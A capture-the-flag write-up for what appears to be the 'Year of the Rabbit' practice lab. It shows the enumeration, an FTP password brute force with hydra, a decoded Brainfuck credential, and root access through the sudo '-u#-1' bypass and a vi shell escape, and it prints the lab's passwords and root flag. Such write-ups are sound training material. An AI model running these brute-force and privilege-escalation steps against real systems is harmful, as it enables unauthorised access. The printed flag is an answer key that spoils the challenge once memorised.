Year Of The Rabbit - Ex-iT's Notes

ENUM

In 10.10.174.148/assets/style.css we find a comment:

css

/* Nice to see someone checking the stylesheets.
     Take a look at the page: /sup3r_s3cr3t_fl4g.php
  */

Following this path goes to:

plaintext

Location: intermediary.php?hidden_directory=/WExYY2Cv-qU

Going to /WExYY2Cv-qU gives us a dir listing:

plaintext

[PARENTDIR]	Parent Directory	 	-
[IMG]	Hot_Babe.png	2020-01-23 00:34 	464K

strings on the PNG shows:

plaintext

Eh, you've earned this. Username for FTP is ftpuser
One of these is the password:
Mou+56n%QK8sr
1618B0AUshw1M
A56IpIl%1s02u
vTFbDzX9&Nmu?
FfF~sfu^UQZmT
8FF?iKO27b~V0
ua4W~2-@y7dE$
3j39aMQQ7xFXT
Wb4--CTc4ww*-
u6oY9?nHv84D&
0iBp4W69Gr_Yf
TS*%miyPsGV54
C77O3FIy0c0sd
O14xEhgg0Hxz1
5dpv#Pr$wqH7F
1G8Ucoce1+gS5
0plnI%f0~Jw71
0kLoLzfhqq8u&
kS9pn5yiFGj6d
zeff4#!b5Ib_n
rNT4E4SHDGBkl
KKH5zy23+S0@B
3r6PHtM4NzJjE
gm0!!EC1A0I2?
HPHr!j00RaDEi
7N+J9BYSp4uaY
PYKt-ebvtmWoC
3TN%cD_E6zm*s
eo?@c!ly3&=0Z
nR8&FXz$ZPelN
eE4Mu53UkKHx#
86?004F9!o49d
SNGY0JjA5@0EE
trm64++JZ7R6E
3zJuGL~8KmiK^
CR-ItthsH%9du
yP9kft386bB8G
A-*eE3L@!4W5o
GoM^$82l&GA5D
1t$4$g$I+V_BH
0XxpTd90Vt8OL
j0CN?Z#8Bp69_
G#h~9@5E5QA5l
DRWNM7auXF7@j
Fw!if_=kk7Oqz
92d5r$uyw!vaE
c-AA7a2u!W2*?
zy8z3kBi#2e36
J5%2Hn+7I6QLt
gL$2fmgnq8vI*
Etb?i?Kj4R=QM
7CabD7kwY7=ri
4uaIRX~-cY6K4
kY1oxscv4EB2d
k32?3^x1ex7#o
ep4IPQ_=ku@V8
tQxFJ909rd1y2
5L6kpPR5E2Msn
65NX66Wv~oFP2
LRAQ@zcBphn!1
V4bt3*58Z32Xe
ki^t!+uqB?DyI
5iez1wGXKfPKQ
nJ90XzX&AnF5v
7EiMd5!r%=18c
wYyx6Eq-T^9#@
yT2o$2exo~UdW
ZuI-8!JyI6iRS
PTKM6RsLWZ1&^
3O$oC~%XUlRO@
KW3fjzWpUGHSW
nTzl5f=9eS&*W
WS9x0ZF=x1%8z
Sr4*E4NT5fOhS
hLR3xQV*gHYuC
4P3QgF5kflszS
NIZ2D%d58*v@R
0rJ7p%6Axm05K
94rU30Zx45z5c
Vi^Qf+u%0*q_S
1Fvdp&bNl3#&l
zLH%Ot0Bw&c%9

bash

hydra -l ftpuser -P passwords.txt ftp://10.10.174.148

...[snip]...
[21][ftp] host: 10.10.174.148   login: ftpuser   password: 5iez1wGXKfPKQ
...[snip]...

FTP

From the FTP:

plaintext

get "Eli's_Creds.txt"

This contains a Brainfuck script:

plaintext

+++++ ++++[ ->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->-
--<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+
++++[ ->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<+
+++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<
]>+++ +++.< ++++[ ->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+
++.<+ ++[-> ---<] >---- -.<++ ++++[ ->--- ---<] >---- --.<+ ++++[ ->---
--<]> -.<++ ++++[ ->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >++++
+<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >+.<+
++++[ ->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[ ->+++ +++++
<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++
<]>+. <+++[ ->--- <]>-- ---.- ----. <

Decoding the Brainfuck creds:

plaintext

User: eli
Password: DSpDiM1wAEwid

SSH

bash

ssh eli@10.10.174.148 # <- DSpDiM1wAEwid

When loggin in:

plaintext

"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"

bash

eli@year-of-the-rabbit:~$ find / -name "s3cr3t" 2>/dev/null
/usr/games/s3cr3t

Gwendoline

bash

eli@year-of-the-rabbit:/usr/games/s3cr3t$ cat .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly\!
Your password is awful, Gwendoline.
It should be at least 60 characters long! Not just MniVCQVhQHUNI
Honestly!

Yours sincerely
   -Root

Now we can su or ssh as Gwendoline:

bash

ssh gwendoline@10.10.174.148 # <- MniVCQVhQHUNI

ROOT

Gwendoline can execute vi as root:

bash

gwendoline@year-of-the-rabbit:~$ sudo -l
...[snip]...
User gwendoline may run the following commands on year-of-the-rabbit:
    (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt

Since we can’t execute it as the root user we need to bypass this check:

bash

sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt

In vi:

plaintext

:!/bin/sh

bash

cat /root/root.txt
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}